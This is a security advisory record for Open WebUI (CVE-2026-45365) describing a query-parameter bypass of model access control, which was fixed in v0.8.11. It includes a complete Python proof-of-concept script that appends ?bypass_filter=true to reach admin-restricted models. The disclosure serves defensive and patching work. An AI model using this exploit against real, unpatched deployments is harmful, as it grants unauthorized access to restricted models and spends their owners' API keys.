{"id":"PYSEC-2026-2758","summary":"Open WebUI: Authenticated users can bypass model access control via exposed query parameter [AI-ASSISTED]","details":"### Summary\n\nAn internal-only bypass_filter parameter is exposed on the /openai/chat/completions and /ollama/api/chat HTTP endpoints via FastAPI query string binding, allowing any authenticated user to append ?bypass_filter=true and bypass model access control checks to invoke admin-restricted models.\n\n### Details\n\nThe `generate_chat_completion` route handlers in both `routers/openai.py` and `routers/ollama.py` declare `bypass_filter` as a function parameter:\n\n**`routers/openai.py`, line 937–941:**\n\n```python\n@router.post(\"/chat/completions\")\nasync def generate_chat_completion(\n    request: Request,\n    form_data: dict,\n    user=Depends(get_verified_user),\n    bypass_filter: Optional[bool] = False,\n    ...\n):\n```\n\n**`routers/ollama.py`, line 1283–1288:**\n\n```python\n@router.post(\"/api/chat\")\nasync def generate_chat_completion(\n    ...\n    bypass_filter: Optional[bool] = False,\n    ...\n):\n```\n\nBecause FastAPI automatically binds unrecognized function parameters to the query string, any HTTP client can set this value by appending `?bypass_filter=true` to the request URL.\n\nWhen `bypass_filter` is true, the access control check is skipped entirely:\n\n**`routers/openai.py`, line 980:**\n\n```python\nif not bypass_filter and user.role == \"user\":\n    # ACL check — skipped when bypass_filter is True\n```\n\nThis parameter is intended for internal use only — the server-side chat pipeline in `utils/chat.py` (lines 238, 253) passes `bypass_filter=True` as a Python function argument when making recursive calls to base models that have already been authorized. However, because it appears in the HTTP handler's signature, it is unintentionally exposed to external callers.\n\nThis is separate from the `BYPASS_MODEL_ACCESS_CONTROL` environment variable, which is a deliberate admin setting for trusted environments.\n\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nuv run --no-project --with requests finding_02_bypass_filter_acl_bypass.py [--base-url http://localhost:8089]\n\nFinding #2 — Unauthorized model access via bypass_filter query parameter\n\nSUMMARY:\n  The POST /openai/chat/completions and POST /ollama/api/chat endpoints expose\n  a bypass_filter query parameter as part of their FastAPI function signatures.\n  FastAPI automatically binds this to the query string. When an authenticated\n  user appends ?bypass_filter=true, the access control check is skipped:\n\n    if not bypass_filter and user.role == \"user\":\n        check_model_access(user, model)  # \u003c-- skipped when bypass_filter=True\n\n  This allows any authenticated user to invoke models they are not authorized\n  to use, including admin-restricted models.\n\nVULNERABLE CODE:\n  backend/open_webui/routers/openai.py, line 941 + 980:\n    async def generate_chat_completion(..., bypass_filter: Optional[bool] = False, ...):\n        ...\n        if not bypass_filter and user.role == \"user\":\n            # ACL check — skipped when bypass_filter=True\n\n  backend/open_webui/routers/ollama.py, line 1288 + 1339:\n    async def generate_chat_completion(..., bypass_filter: Optional[bool] = False, ...):\n        ...\n        if not bypass_filter and user.role == \"user\":\n            # ACL check — skipped when bypass_filter=True\n\nIMPACT:\n  Any authenticated user can bypass model access control on both OpenAI and\n  Ollama proxy endpoints. Because bypass_filter skips the ACL check but still\n  routes through the server-side LLM connection, the attacker can invoke\n  admin-restricted models using the server's API keys and receive actual LLM\n  responses — effectively gaining free, unauthorized access to any configured\n  model.\n\nREPRODUCTION:\n  1. Create a restricted model with empty access_grants (admin-only).\n  2. Authenticate as a regular user.\n  3. POST /openai/chat/completions with the restricted model → expect 403.\n  4. POST /openai/chat/completions?bypass_filter=true → request succeeds.\n\nREQUIREMENTS:\n  - Running Open WebUI instance with Ollama or OpenAI backend configured\n  - A model with restricted access_grants\n  - An authenticated user who is NOT granted access to that model\n\"\"\"\n\nimport argparse\nimport sys\nimport requests\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Finding #2: bypass_filter ACL bypass\")\n    parser.add_argument(\"--base-url\", required=True, help=\"Open WebUI base URL\")\n    parser.add_argument(\"--attacker-email\", required=True)\n    parser.add_argument(\"--attacker-password\", required=True)\n    parser.add_argument(\"--admin-email\", required=True)\n    parser.add_argument(\"--admin-password\", required=True)\n    args = parser.parse_args()\n\n    base = args.base_url.rstrip(\"/\")\n\n    # ── Step 1: Authenticate ──\n    print(\"[*] Authenticating as attacker...\")\n    r = requests.post(f\"{base}/api/v1/auths/signin\",\n                      json={\"email\": args.attacker_email, \"password\": args.attacker_password})\n    if not r.ok:\n        print(f\"[-] Login failed: {r.status_code}\")\n        sys.exit(1)\n    attacker_token = r.json()[\"token\"]\n    print(f\"[+] Logged in as attacker (id={r.json()['id']})\")\n\n    # ── Step 2: Find restricted model via admin ──\n    print(\"[*] Authenticating as admin to find restricted model...\")\n    r = requests.post(f\"{base}/api/v1/auths/signin\",\n                      json={\"email\": args.admin_email, \"password\": args.admin_password})\n    if not r.ok:\n        print(f\"[-] Admin login failed: {r.status_code}\")\n        sys.exit(1)\n    admin_token = r.json()[\"token\"]\n\n    r = requests.get(f\"{base}/api/v1/models\", headers={\"Authorization\": f\"Bearer {admin_token}\"})\n    if not r.ok:\n        print(f\"[-] Failed to list models: {r.status_code}\")\n        sys.exit(1)\n\n    models = r.json()\n    if isinstance(models, dict):\n        models = models.get(\"data\", models.get(\"models\", []))\n\n    restricted_model_id = None\n    base_model_id = None\n    for m in models:\n        info = m.get(\"info\", {})\n        if not info:\n            continue\n        access_grants = info.get(\"access_grants\", None)\n        if access_grants is not None and len(access_grants) == 0 and info.get(\"base_model_id\"):\n            restricted_model_id = m[\"id\"]\n            base_model_id = info.get(\"base_model_id\")\n            print(f\"[+] Found restricted model: {restricted_model_id} (base: {base_model_id})\")\n            break\n\n    if not restricted_model_id:\n        print(\"[-] No restricted model found.\")\n        sys.exit(1)\n\n    headers = {\"Authorization\": f\"Bearer {attacker_token}\"}\n    payload = {\n        \"model\": restricted_model_id,\n        \"messages\": [{\"role\": \"user\", \"content\": \"Say exactly: BYPASS_CONFIRMED\"}],\n        \"stream\": False,\n    }\n\n    # ── Step 3: Confirm access is denied on /openai/chat/completions ──\n    print(f\"\\n[*] Step 1: POST /openai/chat/completions (no bypass) with model '{restricted_model_id}'...\")\n    r = requests.post(f\"{base}/openai/chat/completions\", headers=headers, json=payload)\n    print(f\"    Response: {r.status_code} {r.text[:200]}\")\n\n    if r.status_code == 403:\n        print(\"[+] Access correctly DENIED (403) — attacker cannot use the restricted model\")\n    else:\n        print(f\"[!] Unexpected response code {r.status_code} (expected 403)\")\n\n    # ── Step 4: Bypass with ?bypass_filter=true on OpenAI endpoint ──\n    print(f\"\\n[*] Step 2: POST /openai/chat/completions?bypass_filter=true ...\")\n    r = requests.post(f\"{base}/openai/chat/completions\",\n                      headers=headers, json=payload,\n                      params={\"bypass_filter\": \"true\"})\n    print(f\"    Response: {r.status_code} {r.text[:300]}\")\n\n    openai_bypassed = r.status_code != 403\n\n    if openai_bypassed:\n        print(f\"[+] OpenAI endpoint: ACL BYPASSED (got {r.status_code} instead of 403)\")\n    else:\n        print(f\"[-] OpenAI endpoint: bypass did not work (still 403)\")\n\n    # ── Step 5: Also test Ollama endpoint ──\n    print(f\"\\n[*] Step 3: POST /ollama/api/chat?bypass_filter=true ...\")\n    ollama_payload = {\n        \"model\": restricted_model_id,\n        \"messages\": [{\"role\": \"user\", \"content\": \"Say exactly: BYPASS_CONFIRMED\"}],\n        \"stream\": False,\n    }\n    r_normal = requests.post(f\"{base}/ollama/api/chat\", headers=headers, json=ollama_payload)\n    print(f\"    Without bypass: {r_normal.status_code} {r_normal.text[:150]}\")\n\n    r_bypass = requests.post(f\"{base}/ollama/api/chat\", headers=headers, json=ollama_payload,\n                             params={\"bypass_filter\": \"true\"})\n    print(f\"    With bypass:    {r_bypass.status_code} {r_bypass.text[:150]}\")\n\n    ollama_bypassed = r_normal.status_code == 403 and r_bypass.status_code != 403\n\n    if ollama_bypassed:\n        print(f\"[+] Ollama endpoint: ACL BYPASSED ({r_normal.status_code} → {r_bypass.status_code})\")\n    elif r_bypass.status_code != 403:\n        print(f\"[+] Ollama endpoint: bypass_filter accepted (status {r_bypass.status_code})\")\n        ollama_bypassed = True\n    else:\n        print(f\"[-] Ollama endpoint: bypass did not work\")\n\n    # ── Results ──\n    if openai_bypassed or ollama_bypassed:\n        print(f\"\\n[+] SUCCESS: bypass_filter query parameter bypasses model access control!\")\n        print(f\"    OpenAI endpoint (/openai/chat/completions): {'BYPASSED' if openai_bypassed else 'not bypassed'}\")\n        print(f\"    Ollama endpoint (/ollama/api/chat):          {'BYPASSED' if ollama_bypassed else 'not bypassed'}\")\n        print(f\"\")\n        print(f\"    Any authenticated user can append ?bypass_filter=true to skip\")\n        print(f\"    check_model_access() and use admin-restricted models via the\")\n        print(f\"    server's own API keys.\")\n        sys.exit(0)\n    else:\n        print(f\"\\n[-] FAILED: bypass_filter did not bypass access control on either endpoint\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n\n### Impact\n\nAny authenticated user (including those with the lowest \"user\" role) can invoke any model configured on the server, regardless of access control settings. This bypasses the admin's ability to restrict which models are available to which users — for example, limiting expensive models to specific teams or keeping certain models internal-only.\n\n\n## Resolution\n\nFixed in commit [c0385f60b](https://github.com/open-webui/open-webui/commit/c0385f60ba049da48d2d5452068586d375303c37), first released in **v0.8.11** (Mar 2026) — one day after this report.\n\n`bypass_filter` is no longer a function parameter on either route handler. Both `routers/openai.py` and `routers/ollama.py` now read it via `getattr(request.state, 'bypass_filter', False)`. Because `request.state` can only be populated by server-side code in the same process (typically `utils/chat.py` when recursing into a base model the caller is already authorized for), external HTTP clients cannot set it via query string, body, or any other transport-level mechanism. Appending `?bypass_filter=true` to the URL has no effect — the query parameter is now silently ignored by FastAPI since it doesn't bind to any handler argument.\n\nUsers on `\u003e= 0.8.11` are not affected.","aliases":["CVE-2026-45365","GHSA-v6qf-75pr-p96m"],"modified":"2026-07-13T16:32:24.934308226Z","published":"2026-07-13T15:19:07.115230Z","references":[{"type":"WEB","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-v6qf-75pr-p96m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45365"},{"type":"WEB","url":"https://github.com/open-webui/open-webui/commit/c0385f60ba049da48d2d5452068586d375303c37"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"WEB","url":"https://github.com/open-webui/open-webui/releases/tag/v0.8.11"},{"type":"PACKAGE","url":"https://pypi.org/project/open-webui"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-v6qf-75pr-p96m"}],"affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8.11"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/open-webui/PYSEC-2026-2758.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"}]}